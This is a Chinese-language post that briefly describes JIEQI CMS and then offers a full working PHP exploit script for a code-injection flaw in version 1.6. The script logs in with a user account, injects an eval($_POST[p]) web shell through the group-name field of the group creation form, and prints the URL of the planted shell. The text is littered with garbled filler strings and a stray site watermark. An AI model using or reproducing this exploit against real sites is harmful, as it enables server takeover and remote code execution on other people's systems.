Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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3 }+ l. m+ d, Z3 h: ~; U该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
1 x( b; A4 W- M 需要有一个能创建圈子的用户。

<?php
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print_r('
+---------------------------------------------------------------------------+
* T: u+ ^4 @8 Z6 nJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
! j8 Q, t: h, h3 e2 o4 _*/ if ($argc < 5) { print_r('
* w2 i7 `9 B1 p4 Y+---------------------------------------------------------------------------+
, j; X. j# B3 }7 L6 r* {Usage: php '.$argv[0].' host path username
8 S  ^4 @5 H+ E0 P. `+ _host:      target server (ip/hostname)
path:      path to jieqicms
uasename:  a username who can create group
+ S0 ?2 A8 F7 e! _6 jExample:
, k0 Y/ r# c" K% bphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
* j1 b% R# Y" e+ B1 c% j'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
5 s4 B5 s* [$ K4 xContent-Disposition: form-data; name="gname"

" j( `, m7 X# J4 q. y) X'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
- e; c- J% {! U" u5 }0 b-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"
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/ h% R6 S' Y* u3 E-----------------------------23281168279961
' M% U) u( T0 U2 O. CContent-Disposition: form-data; name="gaudit"
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9 I. Z! L5 _, A  D. x" q-----------------------------23281168279961
0 w" j# i1 F. L/ @Content-Disposition: form-data; name="gbrief"
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1
-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

4 \9 k3 {4 c& w! _preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;